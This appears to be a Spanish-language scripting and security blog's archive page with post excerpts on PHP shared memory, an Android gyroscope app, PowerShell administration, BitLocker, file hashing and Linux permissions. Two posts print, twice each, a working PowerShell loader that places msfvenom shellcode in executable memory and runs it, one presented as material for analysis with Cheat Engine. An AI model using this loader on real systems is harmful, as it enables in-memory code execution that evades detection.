Metro | Scripting and security

Resumen de las operaciones con Memoria Compartida en PHP

(5 votes, average: 5.00 out of 5)

Ejemplo resumen de las operaciones con Memoria Compartida (http://php.net/manual/es/shmop.examples-basic.php)

<?php
   
// Crear un segmento de memoria compartida de 100 bytes con un identificador igual a 0xff3
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
}

// Obtener tamaño del segmento de memoria compartida
$shm_size = shmop_size($shm_id);
echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Escribir una cadena de prueba en la memoria compartida
$shm_bytes_written = shmop_write($shm_id, "Prueba en la memoria compartida", 0);

// Ahora vamos a leer la cadena de texto
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
    echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";

//Ahora vamos a eliminar y cerrar el segmento de memoria compartida
if (!shmop_delete($shm_id)) {
    echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);
   
?>

<?php

// Crear un segmento de memoria compartida de 100 bytes con un identificador igual a 0xff3

$shm_id = shmop_open(0xff3, "c", 0644, 100);

if (!$shm_id) {

echo "Couldn't create shared memory segment\n";

}

// Obtener tamaño del segmento de memoria compartida

$shm_size = shmop_size($shm_id);

echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Escribir una cadena de prueba en la memoria compartida

$shm_bytes_written = shmop_write($shm_id, "Prueba en la memoria compartida", 0);

// Ahora vamos a leer la cadena de texto

$my_string = shmop_read($shm_id, 0, $shm_size);

if (!$my_string) {

echo "Couldn't read from shared memory block\n";

}

echo "The data inside shared memory was: " . $my_string . "\n";

//Ahora vamos a eliminar y cerrar el segmento de memoria compartida

if (!shmop_delete($shm_id)) {

echo "Couldn't mark shared memory block for deletion.";

}

shmop_close($shm_id);

Para utilizar shmop tendrá que compilar PHP con el parámetro –enable-shmop en […]

Ver las coordenadas del sensor giroscopio en un dispositivo Android

(No Ratings Yet)

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="com.jesusninoc.versensores.MainActivity">

    <TextView
        android:id="@+id/sensor"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

</android.support.constraint.ConstraintLayout>

<?xml version="1.0" encoding="utf-8"?>

<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"

xmlns:app="http://schemas.android.com/apk/res-auto"

xmlns:tools="http://schemas.android.com/tools"

android:layout_width="match_parent"

android:layout_height="match_parent"

tools:context="com.jesusninoc.versensores.MainActivity">

<TextView

android:id="@+id/sensor"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

app:layout_constraintBottom_toBottomOf="parent"

app:layout_constraintLeft_toLeftOf="parent"

app:layout_constraintRight_toRightOf="parent"

app:layout_constraintTop_toTopOf="parent" />

</android.support.constraint.ConstraintLayout>

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.jesusninoc.versensores">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.jesusninoc.versensores">

<application

android:allowBackup="true"

android:icon="@mipmap/ic_launcher"

android:label="@string/app_name"

android:roundIcon="@mipmap/ic_launcher_round"

android:supportsRtl="true"

android:theme="@style/AppTheme">

<intent-filter>

</intent-filter>

</activity>

</application>

</manifest>

MainActivity.java

package com.jesusninoc.versensores;

import android.app.Activity;
import android.content.Context;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.os.Bundle;
import android.widget.TextView;

public class MainActivity extends Activity implements SensorEventListener {

    private SensorManager senSensorManager;
    private Sensor senAccelerometer;

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        senSensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE);
        senAccelerometer = senSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE);
        senSensorManager.registerListener(this, senAccelerometer , SensorManager.SENSOR_DELAY_NORMAL);
    }

    private int contador = 0;

    @Override
    public void onSensorChanged(SensorEvent sensorEvent) {
        Sensor mySensor = sensorEvent.sensor;

        if (mySensor.getType() == Sensor.TYPE_GYROSCOPE) {
            float x = sensorEvent.values[0];
            float y = sensorEvent.values[1];
            float z = sensorEvent.values[2];

            ((TextView)findViewById(R.id.sensor)).append(x+ " "+ y+ " "+ z + "\n");

            contador += 1;

            if (contador%40 == 0)
            {
                ((TextView)findViewById(R.id.sensor)).setText("");
            }
        }
    }

    @Override
    public void onAccuracyChanged(Sensor sensor, int accuracy) {

    }

    protected void onPause() {
        super.onPause();
        senSensorManager.unregisterListener(this);
    }

    protected void onResume() {
        super.onResume();
        senSensorManager.registerListener(this, senAccelerometer, SensorManager.SENSOR_DELAY_NORMAL);
    }
}

package com.jesusninoc.versensores;

import android.app.Activity;

import android.content.Context;

import android.hardware.Sensor;

import android.hardware.SensorEvent;

import android.hardware.SensorEventListener;

import android.hardware.SensorManager;

import android.os.Bundle;

import android.widget.TextView;

public class MainActivity extends Activity implements SensorEventListener {

private SensorManager senSensorManager;

private Sensor senAccelerometer;

/** Called when the activity is first created. */

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

senSensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE);

senAccelerometer = senSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE);

senSensorManager.registerListener(this, senAccelerometer , SensorManager.SENSOR_DELAY_NORMAL);

}

private int contador = 0;

@Override

public void onSensorChanged(SensorEvent sensorEvent) {

Sensor mySensor = sensorEvent.sensor;

if (mySensor.getType() == Sensor.TYPE_GYROSCOPE) {

float x = sensorEvent.values[0];

float y = sensorEvent.values[1];

float z = sensorEvent.values[2];

((TextView)findViewById(R.id.sensor)).append(x+ " "+ y+ " "+ z + "\n");

contador += 1;

if (contador%40 == 0)

{

((TextView)findViewById(R.id.sensor)).setText("");

}

@Override

public void onAccuracyChanged(Sensor sensor, int accuracy) {

}

protected void onPause() {

super.onPause();

senSensorManager.unregisterListener(this);

}

protected void onResume() {

super.onResume();

senSensorManager.registerListener(this, senAccelerometer, SensorManager.SENSOR_DELAY_NORMAL);

}

Limitar la recursividad en Get-ChildItem con el parámetro -Depth

(1 votes, average: 2.00 out of 5)

#Primer nivel
Get-ChildItem E:\powershell -Recurse -Depth 0
#Segundo nivel
Get-ChildItem E:\powershell -Recurse -Depth 1

#Primer nivel

Get-ChildItem E:\powershell -Recurse -Depth 0

#Segundo nivel

Get-ChildItem E:\powershell -Recurse -Depth 1

9. Gestión de la red en PowerShell (nivel intermedio)

(4 votes, average: 4.00 out of 5)

Relación de las capas del modelo TCP/IP con PowerShell: Capa física La capa de red física especifica las características del […]

8. Gestión de usuarios en PowerShell (nivel intermedio)

(18 votes, average: 2.78 out of 5)

Los sistemas operativos actuales se pueden utilizar por uno o varios usuarios, en algunos sistemas pueden hacerlo simultáneamente y en […]

4. Gestión del sistema de archivos en PowerShell (nivel intermedio)

(6 votes, average: 4.33 out of 5)

La memoria que maneja el sistema operativo tiene limitaciones importantes, dos de ellas son la escasa cantidad de información que […]

Analizar con Cheat Engine un payload de ejecución de comandos arbitrarios para ejecutar PowerShell

(No Ratings Yet)

Script para cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

Direcciones utilizadas para cargar […]

Cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

(No Ratings Yet)

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

Seguridad informática con PowerShell

(2 votes, average: 5.00 out of 5)

Introducción Confidencialidad

#Habilitar BitLocker
Enable-BitLocker -MountPoint "f:" -RecoveryPasswordProtector -UsedSpaceOnly -Verbose

#Deshabilitar BitLocker
Disable-BitLocker -MountPoint "f:"

#Habilitar BitLocker

Enable-BitLocker -MountPoint "f:" -RecoveryPasswordProtector -UsedSpaceOnly -Verbose

#Deshabilitar BitLocker

Disable-BitLocker -MountPoint "f:"

Integridad

#Calcular hash para un archivo
Get-FileHash D:\power\fichero.txt -Algorithm MD5
Get-FileHash D:\power\fichero.txt -Algorithm SHA1
Get-FileHash D:\power\fichero.txt -Algorithm SHA256
Get-FileHash D:\power\fichero.txt -Algorithm SHA384
Get-FileHash D:\power\fichero.txt -Algorithm SHA512
Get-FileHash D:\power\fichero.txt -Algorithm RIPEMD160

#Calcular hash para un archivo

Get-FileHash D:\power\fichero.txt -Algorithm MD5

Get-FileHash D:\power\fichero.txt -Algorithm SHA1

Get-FileHash D:\power\fichero.txt -Algorithm SHA256

Get-FileHash D:\power\fichero.txt -Algorithm SHA384

Get-FileHash D:\power\fichero.txt -Algorithm SHA512

Get-FileHash D:\power\fichero.txt -Algorithm RIPEMD160

Seguridad física Analizar el hardware de los equipos de la empresa

$credenciales=Get-Credential
1..254 | %{
    (Get-WmiObject Win32_AutochkSetting -ComputerName ('192.168.1.'+$_) -Credential $credenciales).SettingID
    (Get-WmiObject Win32_BaseBoard -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Manufacturer
    (Get-WmiObject Win32_BIOS -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Version
    (Get-WmiObject Win32_Bus -ComputerName ('192.168.1.'+$_) -Credential $credenciales).DeviceID
    Get-WmiObject Win32_Processor -ComputerName ('192.168.1.'+$_) -Credential $credenciales
    Get-WmiObject Win32_SystemEnclosure -ComputerName ('192.168.1.'+$_) -Credential $credenciales
    Get-WmiObject Win32_Battery -ComputerName ('192.168.1.'+$_) -Credential $credenciales
    Get-WmiObject Win32_Printer -ComputerName ('192.168.1.'+$_) -Credential $credenciales
}

$credenciales=Get-Credential

1..254 | %{

(Get-WmiObject Win32_AutochkSetting -ComputerName ('192.168.1.'+$_) -Credential $credenciales).SettingID

(Get-WmiObject Win32_BaseBoard -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Manufacturer

(Get-WmiObject Win32_BIOS -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Version

(Get-WmiObject Win32_Bus -ComputerName ('192.168.1.'+$_) -Credential $credenciales).DeviceID

Get-WmiObject Win32_Processor -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_SystemEnclosure -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_Battery -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_Printer -ComputerName ('192.168.1.'+$_) -Credential $credenciales

}

Ver dispositivos conectados […]

Permisos en Linux

(No Ratings Yet)

Realizar cambio de permisos, grupos y propietarios

kali@kali:~/carpeta$ mkdir carpeta1
kali@kali:~/carpeta$ touch fichero
kali@kali:~/carpeta$ ls -la
total 12
drwxr-xr-x  3 kali kali 4096 feb 17 05:59 .
drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..
drwxr-xr-x  2 kali kali 4096 feb 17 05:59 carpeta1
-rw-r--r--  1 kali kali    0 feb 17 05:59 fichero
kali@kali:~/carpeta$ chmod ugo=rwx fichero
kali@kali:~/carpeta$ ls -l fichero
-rwxrwxrwx 1 kali kali 0 feb 17 05:59 fichero
kali@kali:~/carpeta$ chmod g-x fichero
kali@kali:~/carpeta$ ls -l fichero
-rwxrw-rwx 1 kali kali 0 feb 17 05:59 fichero
kali@kali:~/carpeta$ chgrp root fichero
chgrp: cambiando el grupo de «fichero»: Operación no permitida
kali@kali:~/carpeta$ sudo chgrp root fichero
[sudo] password for kali:
kali@kali:~/carpeta$ ls -l fichero
-rwxrw-rwx 1 kali root 0 feb 17 05:59 fichero
kali@kali:~/carpeta$ chown root fichero
chown: cambiando el propietario de «fichero»: Operación no permitida
kali@kali:~/carpeta$ sudo chown root fichero

kali@kali:~/carpeta$ mkdir carpeta1

kali@kali:~/carpeta$ touch fichero

kali@kali:~/carpeta$ ls -la

total 12

drwxr-xr-x 3 kali kali 4096 feb 17 05:59 .

drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..

drwxr-xr-x 2 kali kali 4096 feb 17 05:59 carpeta1

-rw-r--r-- 1 kali kali 0 feb 17 05:59 fichero

kali@kali:~/carpeta$ chmod ugo=rwx fichero

kali@kali:~/carpeta$ ls -l fichero

-rwxrwxrwx 1 kali kali 0 feb 17 05:59 fichero

kali@kali:~/carpeta$ chmod g-x fichero

kali@kali:~/carpeta$ ls -l fichero

-rwxrw-rwx 1 kali kali 0 feb 17 05:59 fichero

kali@kali:~/carpeta$ chgrp root fichero

chgrp: cambiando el grupo de «fichero»: Operación no permitida

kali@kali:~/carpeta$ sudo chgrp root fichero

[sudo] password for kali:

kali@kali:~/carpeta$ ls -l fichero

-rwxrw-rwx 1 kali root 0 feb 17 05:59 fichero

kali@kali:~/carpeta$ chown root fichero

chown: cambiando el propietario de «fichero»: Operación no permitida

kali@kali:~/carpeta$ sudo chown root fichero

Recursión (chmod, chgrp y chown, soportan el parámetro -R para acciones recursivas)

kali@kali:~$ sudo ls -la carpeta/
total 12
d---------  3 kali kali 4096 feb 17 05:59 .
drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..
drwxr-xr-x  2 kali kali 4096 feb 17 05:59 carpeta1
-rwxrw-rwx  1 root root    0 feb 17 05:59 fichero
kali@kali:~$ sudo chgrp -R root carpeta/
kali@kali:~$ sudo ls -la carpeta/
total 12
d---------  3 kali root 4096 feb 17 05:59 .
drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..
drwxr-xr-x  2 kali root 4096 feb 17 05:59 carpeta1
-rwxrw-rwx  1 root root    0 feb 17 05:59 fichero
kali@kali:~$ sudo chown -R root carpeta/
kali@kali:~$ sudo ls -la carpeta/
total 12
d---------  3 root root 4096 feb 17 05:59 .
drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..
drwxr-xr-x  2 root root 4096 feb 17 05:59 carpeta1
-rwxrw-rwx  1 root root    0 feb 17 05:59 fichero

kali@kali:~$ sudo ls -la carpeta/

total 12

d--------- 3 kali kali 4096 feb 17 05:59 .

drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..

drwxr-xr-x 2 kali kali 4096 feb 17 05:59 carpeta1

-rwxrw-rwx 1 root root 0 feb 17 05:59 fichero

kali@kali:~$ sudo chgrp -R root carpeta/

kali@kali:~$ sudo ls -la carpeta/

total 12

d--------- 3 kali root 4096 feb 17 05:59 .

drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..

drwxr-xr-x 2 kali root 4096 feb 17 05:59 carpeta1

-rwxrw-rwx 1 root root 0 feb 17 05:59 fichero

kali@kali:~$ sudo chown -R root carpeta/

kali@kali:~$ sudo ls -la carpeta/

total 12

d--------- 3 root root 4096 feb 17 05:59 .

drwxr-xr-x 17 kali kali 4096 feb 17 05:59 ..

drwxr-xr-x 2 root root 4096 feb 17 05:59 carpeta1

-rwxrw-rwx 1 root root 0 feb 17 05:59 fichero

[…]

Uso de funciones

(8 votes, average: 4.88 out of 5)

####################################################################################################################################
#Mediante la utilización de funciones resolver las siguientes situaciones:
#Mostrar todos los procesos.
#Mostrar los X primeros procesos.
#Mostrar los X últimos procesos.
#Ordenar todos los procesos por CPU de forma descendente.
#Mostrar los X procesos cuyo consumo (el parámetro que quieras utilizar) sea mayor que el valor que quieras monitorizar.
#Agrupar los procesos y muestra los que sean XXXXX.
####################################################################################################################################

####################################################################################################################################
#Función para mostrar todos los procesos
####################################################################################################################################
function Procesos
{
Get-Process
}
Procesos

####################################################################################################################################
#Función para mostrar los X primeros procesos
####################################################################################################################################
function ProcesosPrimeros($numero)
{
Get-Process | Select-Object -First $numero
}
